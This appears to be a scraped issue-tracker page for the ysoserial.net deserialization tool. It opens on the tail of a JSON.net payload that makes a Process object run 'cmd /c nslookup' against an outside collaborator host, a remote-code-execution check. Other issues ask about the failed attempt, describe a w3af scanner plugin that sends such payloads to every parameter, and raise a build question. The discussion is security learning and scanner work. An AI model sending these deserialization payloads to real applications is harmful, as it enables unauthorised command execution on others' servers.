        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c nslookup collaborator.somedomain.com'
        }
    }
}_

The Web application throws the following error:

_{"Message":"The operation is invalid due to the current state of the object.","StackTrace":"   bei System.Web.Script.Serialization.ObjectConverter.ConvertDictionaryToObject(IDictionary`2 dictionary, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object\u0026 convertedObject)\r\n   bei System.Web.Script.Serialization.ObjectConverter.ConvertObjectToTypeInternal(Object o, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object\u0026 convertedObject)\r\n   bei System.Web.Script.Serialization.ObjectConverter.ConvertObjectToTypeMain(Object o, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object\u0026 convertedObject)\r\n   bei System.Web.Script.Serialization.ObjectConverter.ConvertObjectToType(Object o, Type type, JavaScriptSerializer serializer)\r\n   at System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth)\r\n   bei System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeDictionary(Int32 depth)\r\n   bei System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth)\r\n   bei System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeDictionary(Int32 depth)\r\n   bei System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth)\r\n   bei System.Web.Script.Serialization.JavaScriptObjectDeserializer.BasicDeserialize(String input, Int32 depthLimit, JavaScriptSerializer serializer)\r\n   bei System.Web.Script.Serialization.JavaScriptSerializer.Deserialize[T](String input)\r\n   bei System.Web.Script.Services.RestHandler.ExecuteWebServiceCall(HttpContext context, WebServiceMethodData methodData)","ExceptionType":"System.InvalidOperationException"}_

No DNS-Lookup was executed here. Im just learning how to exploit deserialisation vulnerabilities but from my previous research, i estimate that the application no longer accepts the Object System.Windows.Data.ObjectDataProvider because it has been patched. Do I assume this correctly or should an RCE always be possible if the deserialization fails with an error message?
Unfortunately, I don't have access to source code (black box).

Thank you for your answers.

Greetings

Payloads and black-box scanning

I've been working on implementing an insecure deserialization plugin for w3af https://github.com/andresriancho/w3af/blob/feature/deserialization/w3af/plugins/audit/deserialization.py . For now it is working with python, nodejs and java.

I'm trying to use ysoserial.net to generate the payloads which would be sent during an application scan. Something that worries me is the large number of payloads which can be generated using ysoserial.net

A dummy approach would be to generate all the possible payloads using all (gadget, formatter) combinations and send them all. That would (potentially) yield the highest test coverage, but will also take more time to send all the HTTP requests.

In order to reduce the number of HTTP requests to be sent I would like to understand:

  • In which scenario would (Gadget: ObjectDataProvider, Formatter: Json.net) work, and (Gadget: WindowsIdentity, Formatter: Json.net) not?
  • Same question for other combinations where the formatter is the same and the gadget changes

I'm sending the payloads to all parameters, sending them as-is and base64 encoded, sending them in query string, post-data, cookies.

Any other pointers on writing a black-box scanner for insecure .net deserialization?

This issue is related with #6

Precompiled or Build Dependency guide

Precompiled or Build Dependency guide

Hey all, 2 questions really

is there a binary ?

I've installed visual studio 2019, while I could list the dependencies it's erroring on during build phase I have to ask, is there a dependency/build guide that I've ignored/overlooked ?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.